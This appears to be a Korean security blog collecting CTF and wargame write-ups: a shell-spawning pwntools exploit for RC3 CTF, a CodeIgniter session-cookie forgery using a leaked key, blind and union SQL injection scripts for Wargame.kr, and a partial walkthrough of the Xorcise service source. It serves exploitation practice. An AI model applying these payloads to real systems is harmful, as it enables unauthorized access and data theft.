반응형

분석을 한 이틀 정도한거 같은데 어디서 취약점이 나오는지 전혀 모르겠다.


일단 동작순서부터 설명하도록 하겠다.



LFH 클래스에서 Bucket 이 있는데 이건 같은 사이즈의 Chunk들을 가지고 있는 집합이다.


이 버킷이 꽉 차있을 때 next bucket으로 이동해서 청크사이즈를 확인 후 같은 사이즈면서 꽉 차있지 않다면 할당을 해준다.


또 Bucket과 chunk address, next 포인터를 가진 META 구조체가 있는데 그냥 wrapper니까 별 다른건 없다



Bucket 생성자에서는 Bucket이 가지는 기준 memory를 mmap(RW, 0x4000 bytes)을 통해 생성한다.


처음에는 이걸 가지고 힙스프레이로 이용할 수 있을까 싶었지만 아래에서 RW 속성도 없는 guard page가 생성된다.


실제 메모리 영역들을 살펴보게 되면 아래와 같다.


 guard page

standard memeory


그리고 현재 사용중인 영역을 bitarray라는 변수(char *)를 total chunk만큼 할당해주고 Allocate할 때 bit연산으로 사용중임을 표시해준다.



여기까지가 분석인데, 별다른 건 없어보인다.


아마 


        while(p){

                p2 = p->next;

                p->fptr(p);             // typical destructor for objects.

                p = p2;

        }



이 부분에서 p->fptr(p); 이걸로 트리거링을 해야할 것 같다만.. 어떻게 변경하냐는 거다.


소스코드 분석을 더해보면 content_len만큼 할당해주고 is_unicode 가 true일 때 2배로 입력 받는걸 알 수 있다.


여기서 뭔가 발생할 것 같다만.. 전혀 아닌 것 같다.


막상 힙에서 덮어씌워질 게 없으니까 막막함...

'Write up > Wargame' 카테고리의 다른 글

[PlayTheWeb] writeup  (0) 2019.09.16
[Wargame.kr] vulnerability  (0) 2016.10.02
[Wargame.kr] Admin 계정 탈취 인증샷  (0) 2016.10.02
[Wargame.kr] All Clear  (0) 2016.09.13
[Wargame.kr] zairo  (0) 2016.09.08
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

RC3 CTF에서 낸 문제다.


static compiled 바이너리가 주어지고 풀어주면 되는데,




다시 풀어봤는데..


쉘코드가 문제였던거 같다. 



from pwn import *
import time

#con = process("IMS-easy")
#ims.ctf.rc3.club 7777
con = remote("ims.ctf.rc3.club", 7777)

#0x080bfb66 : push esp , ret
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

payload = ""

for i in range(7):
	print con.recvuntil("Choose: ")
	con.sendline("1")
	print con.recvuntil("ID: ")
	con.sendline("135002982")	# push esp, ret
	print con.recvuntil("code: ")
	con.sendline(p64(0x080bfb66080bfb66))	# dummy
	con.recvline()
	con.recvline()

print con.recvuntil("Choose: ")
con.sendline("1")
print con.recvuntil("ID: ")
con.sendline(str(u32(shellcode[8:12])))
print con.recvuntil("code: ")
con.sendline(shellcode[0:8])
con.recvline()
con.recvline()

print con.recvuntil("Choose: ")
con.sendline("1")
print con.recvuntil("ID: ")
con.sendline(str(u32(shellcode[20:24])))
print con.recvuntil("code: ")
con.sendline(shellcode[12:20])
con.recvline()
con.recvline()

print con.recvuntil("Choose: ")
con.sendline("1")
print con.recvuntil("ID: ")
con.sendline(str(0))
print con.recvuntil("code: ")
con.sendline("\x80\x90\x90\x90\x90\x90\x90\x90")
con.recvline()
con.recvline()

print con.recvuntil("Choose: ")
con.sendline("4")

payload += "4\n"

time.sleep(1)

con.interactive()
	
con.close()

'Write up > CTF' 카테고리의 다른 글

[RCTF 2017] RCalc  (0) 2017.05.22
[Codegate2017 Pre] EasyCrack101  (0) 2017.02.11
[Codegate2017 Pre] BabyMISC  (0) 2017.02.11
[Codegate2017 Pre] BabyPwn  (0) 2017.02.11
[CSAW_2014] Xorcise(Pwnable500)  (0) 2016.07.30
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

wargame.kr에는 세션인증을 위한 쿠키값 저장에 대한 문제가 있다.


예를 들면 세션을 통해서 게시글을 쓴다던가, name 값을 통해서 어드민의 권한을 검사한다는 점인데,


이건 xss는 물론이고 sql injection까지 가능한 취약점이다.


왜 발생했다면, encryption_key가 노출돼서 자체적으로 인코딩해서 쿠키에 넣어줄 수 있다. (Object injection)


먼저 codeigniter의 session.php를 보자. 경로는 /system/libraries/Session.php 다.


아래의 함수들은 쿠키와 세션을 위한 함수의 코드다.

 

function set_userdata($newdata = array(), $newval = '')
{
	if (is_string($newdata))
	{
	$newdata = array($newdata => $newval);
	}

	if (count($newdata) > 0)
	{
		foreach ($newdata as $key => $val)
		{
			$this->userdata[$key] = $val;
		}
	}

	$this->sess_write();
}
function set_userdata($newdata = array(), $newval = '')
{
	if (is_string($newdata))
	{
		$newdata = array($newdata => $newval);
	}

	if (count($newdata) > 0)
	{
		foreach ($newdata as $key => $val)
		{	
			$this->userdata[$key] = $val;
		}
	}
	$this->sess_write();
}
function sess_write()
{
	// Are we saving custom data to the DB?  If not, all we do is update the cookie
	if ($this->sess_use_database === FALSE)
	{
		$this->_set_cookie();
		return;
	}

	// set the custom userdata, the session data we will set in a second
	$custom_userdata = $this->userdata;
	$cookie_userdata = array();

	// Before continuing, we need to determine if there is any custom data to deal with.
	// Let's determine this by removing the default indexes to see if there's anything left in the array
	// and set the session data while we're at it
	foreach (array('session_id','ip_address','user_agent','last_activity') as $val)
	{
		unset($custom_userdata[$val]);
		$cookie_userdata[$val] = $this->userdata[$val];
	}

	// Did we find any custom data?  If not, we turn the empty array into a string
	// since there's no reason to serialize and store an empty array in the DB
	if (count($custom_userdata) === 0)
	{
		$custom_userdata = '';
	}
	else
	{
		// Serialize the custom data array so we can store it
		$custom_userdata = $this->_serialize($custom_userdata);
	}

	// Run the update query
	$this->CI->db->where('session_id', $this->userdata['session_id']);
	$this->CI->db->update($this->sess_table_name, array('last_activity' => $this->userdata['last_activity'], 'user_data' => $custom_userdata));

	// Write the cookie.  Notice that we manually pass the cookie data array to the
	// _set_cookie() function. Normally that function will store $this->userdata, but
	// in this case that array contains custom data, which we do not want in the cookie.
	$this->_set_cookie($cookie_userdata);
}
function _set_cookie($cookie_data = NULL)
{
	if (is_null($cookie_data))
	{
		$cookie_data = $this->userdata;
	}

	// Serialize the userdata for the cookie
	$cookie_data = $this->_serialize($cookie_data);

	if ($this->sess_encrypt_cookie == TRUE)
	{
		$cookie_data = $this->CI->encrypt->encode($cookie_data);
	}

	// $this->encryption_key = Th1s1sEncrypt10nkey
	$cookie_data .= hash_hmac('sha1', $cookie_data, $this->encryption_key);

	$expire = ($this->sess_expire_on_close === TRUE) ? 0 : $this->sess_expiration + time();

	// Set the cookie

	setcookie(
		$this->sess_cookie_name,
		$cookie_data,
		$expire,
		$this->cookie_path,
		$this->cookie_domain,
		$this->cookie_secure
	);
}


호출 순서는 


set_userdata -> sess_write -> _set_cookie 순서고 설명이 필요할 듯하다.


먼저 set_userdata로 쿠키가 생성될 때 set_userdata함수에서 private영역의 userdata 변수에 데이터를 저장하고


sess_write함수를 호출해준다.


sess_write에서는 세션ID를 DB에 저장할 때와 아닐때로 나뉘는데 wargame.kr은 db에 따로 저장하지 않기때문에 바로 _set_cookie함수를 


호출해준다.


마지막의  _set_cookie함수는 $cookie_data에 데이터를 userdata를 넣어주고 serialize해준다.


sess_encrypt_cookie일 때 encode해주긴 하는데 false였기에 바로 넘어간다.


보다시피 쿠키값에다 sha1에 salt를 지정해줘서 해시화를 시키고 있으니 encryption_key의 값을 알 필요가 있는데,


config.php에 있으니까 참조하길 바란다.


그 다음에 쿠키 expire를 지정해주고 setcookie를 해준다.


여기까지는 아무 문제 없다고 생각은 하지만


정작 wargame.kr소스코드를 보게 되면


[ wargamekr_helper.php ]
function is_admin(){
	$admin_list = ['bughela'];
	$CI = &get_instance();
	if (!is_logged_in()) return false;
	if (!in_array($CI->session->userdata('name'), $admin_list)) return false;
	return true;
}

[ main_model.php ]
function chat($chat = ''){
	$chat = trim($chat);
	if ($chat == '') return false;
	if (!is_logged_in()) return false;

	$name = $this->session->userdata('name');
	$chat = [
		'name' => $name,
		'chat' => $chat,
		'reg_date' => date('Y-m-d H:i:s', time()),
		'reg_ip' => $this->input->ip_address()
	];

	$this->db->insert('chat_log', $chat);

	$result = $this->db
		->where('name', $name)
		->from('chat_log')
		->count_all_results();

	if ($result > 100){
		$this->load->model("achievement_model", "achievement");
		$this->achievement->take("chatterbox");
	}
}

[ board_model.php ]
function write($input){
	if (!is_logged_in()) return false;
	$data = [
		'title' => htmlspecialchars($input['title']),
		'secret' => $input['secret'],
		'contents' => htmlspecialchars($input['contents']),
		'writer' => $this->session->userdata('name'),
		'reg_date' => date('Y-m-d H:i:s', time()),
		'reg_ip' => $this->input->ip_address()
	];
	
	$result = $this->db->insert('board', $data);
	$name = $this->session->userdata('name');
	$result = $this->db
	->where('writer', $name)
	->from('board')
	->count_all_results();
	
	if ($result == 10) {
		$this->achievement->take("BBS mania");
	}
}

[ board_model.php ]
function write_reply($contents, $idx = 0){
	if (!is_logged_in()) return false;
	$contents = trim($contents);
	if ($contents == "") return false;

	$idx = intval($idx);
	$result = $this->db
		->select('idx')
		->where('secret', 0)
		->or_where('writer', $this->session->userdata('name'))
		->where('idx', $idx)
		->get('board');
	if ($result->row()->idx != 1) return false;
	
	$data = [
		'contents' => htmlspecialchars($contents),
		'pidx' => $idx,
		'writer' => $this->session->userdata('name'),
		'reg_date' => date("Y-m-d H:i:s"),
		'reg_ip' => $this->input->ip_address()
	];
	
	$this->db->insert('board_reply', $data);
	$name = $this->session->userdata('name');
	
	$result = $this->db
		->where('writer', $name)
		->from('board_reply')
		->count_all_results();
	if ($result == 50) {
		//$this->achievement->take($name, "");
	}
}


등등의 함수들에서 xss 및 sql injection이 성공한다.


아래는 쿠키값의 조작을 위해 직접 만든 소스코드다.


$arr = array(
	"session_id" => md5("hoho"),
	"ip_address" => "127.0.0.1",
	"user_agent" => "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",
	"last_activity" => time(),
	"user_data" => null,
	"name" => "KuroNeko",
	"email" => "nyanpasu@naver.com",
	"lang" => "kor",
	"achievement" => "sewer brew",
	"point" => 99999
);

$ser_arr = serialize($arr);

$encryption_key = "Th1s1sEncrypt10nkey";
$ser_arr .= hash_hmac('sha1', $ser_arr, $encryption_key);

echo urlencode($ser_arr);


아 물론 지금은 키값이 패치된 상태라 이 소스를 써도 안된다.

'Write up > Wargame' 카테고리의 다른 글

[PlayTheWeb] writeup  (0) 2019.09.16
LFH 문제 분석한 거  (0) 2016.12.13
[Wargame.kr] Admin 계정 탈취 인증샷  (0) 2016.10.02
[Wargame.kr] All Clear  (0) 2016.09.13
[Wargame.kr] zairo  (0) 2016.09.08
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

꺄르륵


'Write up > Wargame' 카테고리의 다른 글

LFH 문제 분석한 거  (0) 2016.12.13
[Wargame.kr] vulnerability  (0) 2016.10.02
[Wargame.kr] All Clear  (0) 2016.09.13
[Wargame.kr] zairo  (0) 2016.09.08
[Wargame.kr] adm1nkyj  (0) 2016.09.08
블로그 이미지

KuroNeko_

KuroNeko

,
반응형


'Write up > Wargame' 카테고리의 다른 글

[Wargame.kr] vulnerability  (0) 2016.10.02
[Wargame.kr] Admin 계정 탈취 인증샷  (0) 2016.10.02
[Wargame.kr] zairo  (0) 2016.09.08
[Wargame.kr] adm1nkyj  (0) 2016.09.08
[Wargame.kr] strcmp (550p)  (0) 2016.04.29
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

<?php
    error_reporting
(0);
    
    include(
"./config.php"); // hidden column name
    
include("../lib.php"); // auth_code function

    
mysql_connect("localhost","zairo","zairo_pz");
    
mysql_select_db("zairo");

    
/**********************************************************************************************************************/

    
function rand_string()
    {
        
$string "1234567890abcdefghijklmnopqrstuvwxyz";
        return 
str_shuffle($string);
    }

    function 
reset_flag($count_column$flag_column)
    {
        global 
$count;
        
$flag rand_string();
        
$query mysql_fetch_array(mysql_query("SELECT $count_column$flag_column FROM findflag_2"));
        
$count $query[$count_column];
        if(
$query[$count_column] == 150)
        {
            if(
mysql_query("UPDATE findflag_2 SET $flag_column='{$flag}';"))
            {
                
mysql_query("UPDATE findflag_2 SET $count_column=0;");
                echo 
"reset flag<hr>";
            }
            return 
$flag;
        }
        else
        {
            
mysql_query("UPDATE findflag_2 SET $count_column=($query[$count_column] + 1);");
        }
        return 
$query[$flag_column];
    }

    function 
get_pw($pw_column){
        
$query mysql_fetch_array(mysql_query("select $pw_column from findflag_2 limit 1"));
        return 
$query[$pw_column];
    }

    
/**********************************************************************************************************************/

    
$tmp_flag "";
    
$tmp_pw "";
    
$id $_GET['id'];
    
$pw $_GET['pw'];
    
$flags $_GET['flag'];
    
$count 0;
    if(isset(
$id))
    {
        if(
preg_match("/information|schema|user|where|=/i"$id) || substr_count($id,"(") > 0) exit("no hack");
        if(
preg_match("/information|schema|user|where|=/i"$pw) || substr_count($pw,"(") > 0) exit("no hack");
        
$tmp_flag reset_flag($count_column$flag_column);
        
$tmp_pw get_pw($pw_column);
        
$query mysql_fetch_array(mysql_query("SELECT * FROM findflag_2 WHERE $id_column='{$id}' and $pw_column='{$pw}';"));
        echo 
"<hr />NOW COUNT = {$count}<br />";
        if(
$query[$id_column])
        {
            if(isset(
$pw) && isset($flags) && $pw === $tmp_pw && $flags === $tmp_flag)
            {
                echo 
"good job!!<br />FLAG : <b>".auth_code("zairo")."</b><hr>";
            }
            else
            {
                echo 
"Hello ".$query[$id_column]."<hr>";
            }
        }
    }else {
        
highlight_file(__FILE__);
    }
?>


음.. 그렇다 adm1nkyj문제에서 가상테이블을 못만들도록 (를 필터링해준다.


여기서 어떻게 해야하는지 몰라서 질문글을 올렸는데 order by 와 이진탐색을 사용해서 blind sqli을 하라고 한다.


그래서 했다. ㄹㅇ 


order by는 컬럼에 대해서 정렬할 수 있도록 컬럼 인덱스(?)를 통해 가능하도록 한다.


예를 들면 order by 2 이런식이다. 이건 두번째 컬럼에 대해서 정렬하라는 말이다.


그러면 여기서 blind sqli를 어떻게 하냐는 건데 간단하다.


문자열 비교를 하면 되는 건데 order by로 정렬하면 내가 union으로 넣은 값이 먼저 작으면 먼저 나오게 되니까


zairo문제의 아이디가 나올 때의 문자열로 받아들이면 된다.


payload는 아래와 같이 짰다.



import urllib2 url = "http://wargame.kr:8080/zairo/?id=asdf&pw=%27%20or%20true%20union%20select%201,2,3,%27" query_parts = "%27,5%20order%20by%204%23" flag = "" avail = "0123456789abcdefghijklmnopqrstuvwxyz" for i in range(36): print i + 1, " Attempt" mid = len(avail) / 2 start = 0 end = len(avail) - 1 while start <= end and start >= 0 and end >= 0 and mid >= 0: req = urllib2.Request(url + flag + avail[mid] + query_parts) req.add_header("cookie", "[Cookie]") source = urllib2.urlopen(req).read() if source.find("reset flag") != -1: print flag i = 37 break if source.find("zairowkdlfhdkel") != -1: end = mid - 1 mid = (start + end) / 2 else: start = mid + 1 mid = (start + end) / 2 flag += avail[mid] avail = avail.replace(avail[mid], "") print avail print flag


'Write up > Wargame' 카테고리의 다른 글

[Wargame.kr] Admin 계정 탈취 인증샷  (0) 2016.10.02
[Wargame.kr] All Clear  (0) 2016.09.13
[Wargame.kr] adm1nkyj  (0) 2016.09.08
[Wargame.kr] strcmp (550p)  (0) 2016.04.29
[Wargame.kr] Easy_CrackMe (500p)  (0) 2016.04.29
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

adm1nkyj (ㄱㅇㅈ) 님이 만드신 문젠데 어휴 어려웠다 ㄹㅇ


이 문제의 소스를 보자.


<?php
    error_reporting
(0);
    
    include(
"./config.php"); // hidden column name
    
include("../lib.php"); // auth_code function

    
mysql_connect("localhost","adm1nkyj","adm1nkyj_pz");
    
mysql_select_db("adm1nkyj");

    
/**********************************************************************************************************************/

    
function rand_string()
    {
        
$string "ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890abcdefghijklmnopqrstuvwxyz";
        return 
str_shuffle($string);
    }

    function 
reset_flag($count_column$flag_column)
    {
        
$flag rand_string();
        
$query mysql_fetch_array(mysql_query("SELECT $count_column$flag_column FROM findflag_2"));
        if(
$query[$count_column] == 150)
        {
            if(
mysql_query("UPDATE findflag_2 SET $flag_column='{$flag}';"))
            {
                
mysql_query("UPDATE findflag_2 SET $count_column=0;");
                echo 
"reset flag<hr>";
            }
            return 
$flag;
        }
        else
        {
            
mysql_query("UPDATE findflag_2 SET $count_column=($query[$count_column] + 1);");
        }
        return 
$query[$flag_column];
    }

    function 
get_pw($pw_column){
        
$query mysql_fetch_array(mysql_query("select $pw_column from findflag_2 limit 1"));
        return 
$query[$pw_column];
    }

    
/**********************************************************************************************************************/

    
$tmp_flag "";
    
$tmp_pw "";
    
$id $_GET['id'];
    
$pw $_GET['pw'];
    
$flags $_GET['flag'];
    if(isset(
$id))
    {
        if(
preg_match("/information|schema|user/i"$id) || substr_count($id,"(") > 1) exit("no hack");
        if(
preg_match("/information|schema|user/i"$pw) || substr_count($pw,"(") > 1) exit("no hack");
        
$tmp_flag reset_flag($count_column$flag_column);
        
$tmp_pw get_pw($pw_column);
        
$query mysql_fetch_array(mysql_query("SELECT * FROM findflag_2 WHERE $id_column='{$id}' and $pw_column='{$pw}';"));
        if(
$query[$id_column])
        {
            if(isset(
$pw) && isset($flags) && $pw === $tmp_pw && $flags === $tmp_flag)
            {
                echo 
"good job!!<br />FLAG : <b>".auth_code("adm1nkyj")."</b><hr>";
            }
            else
            {
                echo 
"Hello ".$query[$id_column]."<hr>";
            }
        }
    } else {
        
highlight_file(__FILE__);
    }
?>


보면 union 인젝션은 막혀있지 않다. 이걸 이용해서 인젝션을 해야한다고 추측을 했었다.


근데 기존의 union 인젝션은 컬럼명을 알아야지 데이터를 뽑아올 수 있었는데,


이 생각을 깨게 만들어준 문제기도 하다. 해결방법은 아래와 같다


mysql에는 서브쿼리라는 게 존재하고 from에다가 서브쿼리를 써주면 가상테이블이 생성된다.


가상테이블에서 이리저리 굴려서 alias를 해주면 아래와 같은 페이로드가 나오게 된다.


pw=' union select 1,b,3,4,5 from (select 1,2,3,4 b,5 from findflag_2 where 1=2 union select * from findflag_2)x%23


from쪽에 서브쿼리르 써주면 가상테이블의 컬럼명을 alias화 시킬 수 있으며


이 가상테이블을 alias해주고 최종적으로 union에서 뽑아준다. 이값은 플래그 값이고


패스워드는 id에다가 이리저리 굴려서 확인할 수 있으니 해보면 된다.

'Write up > Wargame' 카테고리의 다른 글

[Wargame.kr] All Clear  (0) 2016.09.13
[Wargame.kr] zairo  (0) 2016.09.08
[Wargame.kr] strcmp (550p)  (0) 2016.04.29
[Wargame.kr] Easy_CrackMe (500p)  (0) 2016.04.29
[Wargame.kr] md5 password  (0) 2016.04.29
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

문제 파일


xorcise


/* 
    --------------------------
    XORCISE ENTERPRISE EDITION 
    --------------------------
*/

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define BLOCK_SIZE 8
#define MAX_BLOCKS 16

#define FILE_ERROR "Unable to open file."
#define AUTH_ERROR "Authentication Required."

// encrypted
struct cipher_data
{
    uint8_t length; // max Length : 255
    uint8_t key[8];
    uint8_t bytes[128];
};
typedef struct cipher_data cipher_data;

struct request
{
    uint32_t opcode;
    uint32_t checksum;
    uint8_t data[100];
};
typedef struct request request;

char password[16];
time_t start_time;

void hexdump(unsigned char *buf, size_t len, FILE *fd)
{
    size_t loop = 0, diff = 0, left=0;
    unsigned char *p = NULL;
    char tmp[24];

    p = buf;
    memset(tmp, 0, sizeof(tmp));

    for (loop = 0; loop < len; ++loop, ++p)
    {
        if (loop && !(loop % 16))
        {
            fprintf(fd, "| %s\n", tmp);
            memset(tmp, 0, 16);
        }

        fprintf(fd, "%02x ", *p);
        tmp[loop % 16] = isprint(*p)?*p:'.';
    }
    diff = loop % 16;

    if (!diff)
    {
        fprintf(fd, "| %s\n", tmp);
        return;
    }
    left = 16 - diff;

    for (loop = 0; loop < left; ++loop)
    {
        fprintf(fd, "   ");
    }
    fprintf(fd, "| %s\n", tmp);
}

uint32_t cluster_f(uint8_t *data, uint32_t length)
{
    uint32_t hash;
    uint32_t iv;
    uint32_t temp;
    uint32_t rounds;
    uint8_t cluster[]={  0x31, 0x24, 0x13, 0x41,
                         0x37, 0x6D, 0x73, 0xFF,
                         0x00, 0xCC, 0x99, 0x01};
    uint8_t cluster2[]={ 0x11, 0x01, 0x22, 0x06,
                         0x33, 0x20, 0x44, 0xD0,
                         0x55, 0x0F, 0x6E, 0x00};

    rounds = length < 16 ? 16: length;
    iv = 0x10F00F01;
    hash = iv;
    while (rounds)
    {
        iv ^= data[rounds % length];
        iv <<= 8;
        iv ^= cluster[rounds % sizeof(cluster)];
        iv <<= 3;
        iv ^= cluster2[rounds%sizeof(cluster2)];
        hash ^= iv;
        temp = hash;
        temp ^= cluster2[(temp<<2) % sizeof(cluster2)];
        hash <<= 1;
        hash += cluster[iv % sizeof(cluster)];
        hash <<= 1;
        hash ^= cluster[(temp & 0xFF00)%sizeof(cluster)];
        temp <<= 1;
        temp ^= cluster[(temp<<2) % sizeof(cluster2)];
        hash += temp;
        --rounds;
    }

    return hash;
}

uint32_t decipher(cipher_data *data, uint8_t *output)
{
    uint8_t buf[MAX_BLOCKS * BLOCK_SIZE];    
    uint32_t loop;
    uint32_t block_index;
    uint8_t xor_mask = 0x8F;

    memcpy(buf, data->bytes, sizeof(buf));
    // Vulnerable..
    // 135 / 8 == 16
    if ((data->length / BLOCK_SIZE) > MAX_BLOCKS)
    {
        data->length = BLOCK_SIZE * MAX_BLOCKS;
    }

    for (loop = 0; loop < data->length; loop += 8)
    {
        for (block_index = 0; block_index < 8; ++block_index)
        {
            buf[loop+block_index]^=(xor_mask^data->key[block_index]);
        }
    }
    memcpy(output, buf, sizeof(buf));
}

uint32_t is_authenticated(request *packet, uint8_t *key)
{
    char buf[128];
    uint32_t hash_a;
    uint32_t hash_b;
    uint32_t auth_checksum;
    
    memset(buf, 0, sizeof(buf));
    memcpy(buf, password, 16);
    memcpy(buf+16, key, 8);
    hash_a = cluster_f(buf, 24);
    printf("hash_a [%08x] from: \n", hash_a);
    hexdump(buf, 24, stdout);
    
    memset(buf, 0, sizeof(buf));
    memcpy(buf, password, 16);    
    memcpy(buf+16, packet->data, 100);
    hash_b = cluster_f(buf, 116);
    printf("hash_b [%08x] from: \n", hash_b);
    hexdump(buf, 116, stdout);
    
    memset(buf, 0, sizeof(buf));
    memcpy(buf, (uint8_t *)&hash_a, sizeof(hash_a));
    memcpy(buf+4, (uint8_t *)&hash_b, sizeof(hash_b));
    auth_checksum = cluster_f(buf, 8);
    printf("auth_checksum = %08x\n", auth_checksum);
    printf("packet->checksum = %08x\n", packet->checksum);
    
    if (auth_checksum == packet->checksum)
    {
        return 1;
    }

    return 0;
}

void reap_exited_processes(int sig_number)
{
    pid_t process_id;
    while (1)
    {
        process_id = waitpid(-1, NULL, WNOHANG);
        if ((0==process_id) || (-1==process_id))
        {
            break;
        }
    }
    return;
}

void read_file(int sockfd, uint8_t *name)
{
    FILE *fd;
    size_t bytes_read;
    uint8_t buf[128];

    fd = fopen(name, "r");
    printf("file name is [%s] \n", name);

    if (NULL == fd)
    {
        printf("Error: %s\n", FILE_ERROR);
        send(sockfd, FILE_ERROR, strlen(FILE_ERROR), 0);
        return;
    }

    memset(buf, 0, sizeof(buf));
    while (1)
    {
        bytes_read = fread(buf, 1, sizeof(buf), fd);
        if (0 == bytes_read)
        {
            break;
        }
        send(sockfd, buf, bytes_read, 0);
    }
    fclose(fd);
    return;
}

void uptime(int sockfd)
{
    char buf[32];
    memset(buf, 0, sizeof(buf));    
    sprintf(buf, "%u seconds", (uint32_t )start_time);
    send(sockfd, buf, strlen(buf), 0);
}

void timestamp(int sockfd)
{
    char buf[32];
    time_t current_time;
    current_time = time(NULL);
    memset(buf, 0, sizeof(buf));
    sprintf(buf, "timestamp: %u", (uint32_t )current_time);
    send(sockfd, buf, strlen(buf), 0);
}

int process_connection(int sockfd)
{
    ssize_t bytes_read;
    cipher_data encrypted;
    uint8_t decrypted[128];
    request *packet;
    uint32_t authenticated;

    memset(&encrypted, 0, sizeof(encrypted));
    memset(&decrypted, 0, sizeof(decrypted));

    bytes_read = recv(sockfd, (uint8_t *)&encrypted, sizeof(encrypted), 0);
    if (bytes_read <= 0)
    {
        printf("Error: failed to read socket\n");
        return -1;
    }

    if (encrypted.length > bytes_read)
    {
        printf("Error: invalid length in packet\n");
        return -1;
    }
    
    decipher(&encrypted, decrypted);

    // printf("encrypted->length: 0x%02x\n", encrypted.length);
    // printf("encrypted->key: ");
    // hexdump(encrypted.key, sizeof(encrypted.key), stdout);
    // printf("encrypted->bytes:\n");
    // hexdump(encrypted.bytes, sizeof(encrypted.bytes), stdout);
    // printf("deciphered to: \n");
    // hexdump(decrypted, sizeof(decrypted), stdout);

    packet = (request *)&decrypted;
    authenticated = is_authenticated(packet, encrypted.key);

    if (1 == authenticated)
    {
        printf("Packet is authenticated\n");
    }
    else
    {
        printf("Packet is NOT authenticated\n");
    }

    switch (packet->opcode)
    {
     
    /* 
        functions:
            - timestamp
            - uptime
            - read file
            - execute command
    */

        case 0x01:
            printf("Timestamp Request\n");
            timestamp(sockfd);
            break;

        case 0x24:
            printf("Uptime Request\n");
            uptime(sockfd);
            break;            

        case 0x3A:
            if (0 == authenticated)
            {
                send(sockfd, AUTH_ERROR, strlen(AUTH_ERROR), 0);
                return -1;
            }
            printf("Read File Request: %s\n", packet->data);
            read_file(sockfd, packet->data);
            break;

        case 0x5C:
            if (0 == authenticated)
            {
                send(sockfd, AUTH_ERROR, strlen(AUTH_ERROR), 0);
                return -1;
            }
            printf("Execute Command Request: %s\n", packet->data);
            system(packet->data);
            break;

        default:
            printf("Unknown opcode: %08x\n", packet->opcode);
            break;
    }
    return 0;
}

int tcp_server_loop(uint16_t port)
{
    int sd;
    int client_sd; 
    struct sockaddr_in server; 
    struct sockaddr_in client;
    socklen_t address_len;

    pid_t process_id;
    struct sigaction sig_manager;
    
    memset(&server, 0, sizeof(server)); 
    memset(&client, 0, sizeof(client));

    sig_manager.sa_handler = reap_exited_processes;
    sig_manager.sa_flags = SA_RESTART;
    
    if (-1 == sigfillset(&sig_manager.sa_mask))
    {
        printf("Error: sigfillset failed\n");
        return -1;
    }

    if (-1 == sigaction(SIGCHLD, &sig_manager, NULL))
    {
        printf("Error: sigaction failed\n");
        return -1;
    }

    sd = socket(AF_INET, SOCK_STREAM, 0); 
    if (sd < 0)
    {
        printf("Error: failed to acquire socket\n");
        return -1;
    }

    address_len = sizeof(struct sockaddr);
    server.sin_family = AF_INET;
    server.sin_port = htons(port);
    server.sin_addr.s_addr = INADDR_ANY;

    if (-1 == bind(sd, (struct sockaddr *)&server, address_len))
    {
        printf("Error: failed to bind on 0.0.0.0:%i\n", port);
        return -1;
    }

    if (-1 == listen(sd, SOMAXCONN))
    {
        printf("Error: failed to listen on socket\n");
        return -1;
    }

    printf("Entering main listening loop...\n");
    while (1)
    {
        client_sd = accept(sd, (struct sockaddr *)&client, &address_len);
        if (-1 == client_sd)
        {
            printf("Error: failed accepting connection, continuing\n");
            continue;
        }

        printf("Accepted connection from %s\n", inet_ntoa(client.sin_addr)); 
        
        process_id = fork();
        if (0 == process_id)
        {
            process_connection(client_sd);
            close(client_sd); 
            close(sd);
            exit(0);
        }

        close(client_sd);

    }
}

int main(int argc, char *argv[])
{
    FILE *fd; 
    char *newline;

    printf("           ---------------------------------------\n");
    printf("           --            XORCISE 1.1b           --\n");
    printf("           --   NOW WITH MORE CRYPTOGRAPHY!!!   --\n");
    printf("           ---------------------------------------\n");

    fd = fopen("password.txt", "rb");
    if (NULL == fd)
    {
        printf("Error: failed to open password.txt!\n");
        exit(1);
    }

    start_time = time(NULL);

    memset(password, 0, sizeof(password));
    fgets(password, sizeof(password), fd);
    fclose(fd);

    newline = strchr(password, 0x0a);
    if (NULL != newline)
    {
        *newline = 0x0;
    }

    tcp_server_loop(24001);
    return 0;
}



위의 소스는 Xorcise의 소스코드인데, 분석을 해보자.


먼저 main함수를 보자.

int main(int argc, char *argv[])
{
    FILE *fd; 
    char *newline;

    printf("           ---------------------------------------\n");
    printf("           --            XORCISE 1.1b           --\n");
    printf("           --   NOW WITH MORE CRYPTOGRAPHY!!!   --\n");
    printf("           ---------------------------------------\n");

    fd = fopen("password.txt", "rb");
    if (NULL == fd)
    {
        printf("Error: failed to open password.txt!\n");
        exit(1);
    }

    start_time = time(NULL);

    memset(password, 0, sizeof(password));
    fgets(password, sizeof(password), fd);
    fclose(fd);

    newline = strchr(password, 0x0a);
    if (NULL != newline)
    {
        *newline = 0x0;
    }

    tcp_server_loop(24001);
    return 0;
}


password.txt를 읽어서 password변수(전역) 저장 하는 것을 알 수 있다.


그리고 tcp_server_loop함수를 호출하여 소켓 통신을 하게 되는데 소스코드를 보자.


int tcp_server_loop(uint16_t port)
{
    int sd;
    int client_sd; 
    struct sockaddr_in server; 
    struct sockaddr_in client;
    socklen_t address_len;

    pid_t process_id;
    struct sigaction sig_manager;
    
    memset(&server, 0, sizeof(server)); 
    memset(&client, 0, sizeof(client));

    sig_manager.sa_handler = reap_exited_processes;
    sig_manager.sa_flags = SA_RESTART;
    
    if (-1 == sigfillset(&sig_manager.sa_mask))
    {
        printf("Error: sigfillset failed\n");
        return -1;
    }

    if (-1 == sigaction(SIGCHLD, &sig_manager, NULL))
    {
        printf("Error: sigaction failed\n");
        return -1;
    }

    sd = socket(AF_INET, SOCK_STREAM, 0); 
    if (sd < 0)
    {
        printf("Error: failed to acquire socket\n");
        return -1;
    }

    address_len = sizeof(struct sockaddr);
    server.sin_family = AF_INET;
    server.sin_port = htons(port);
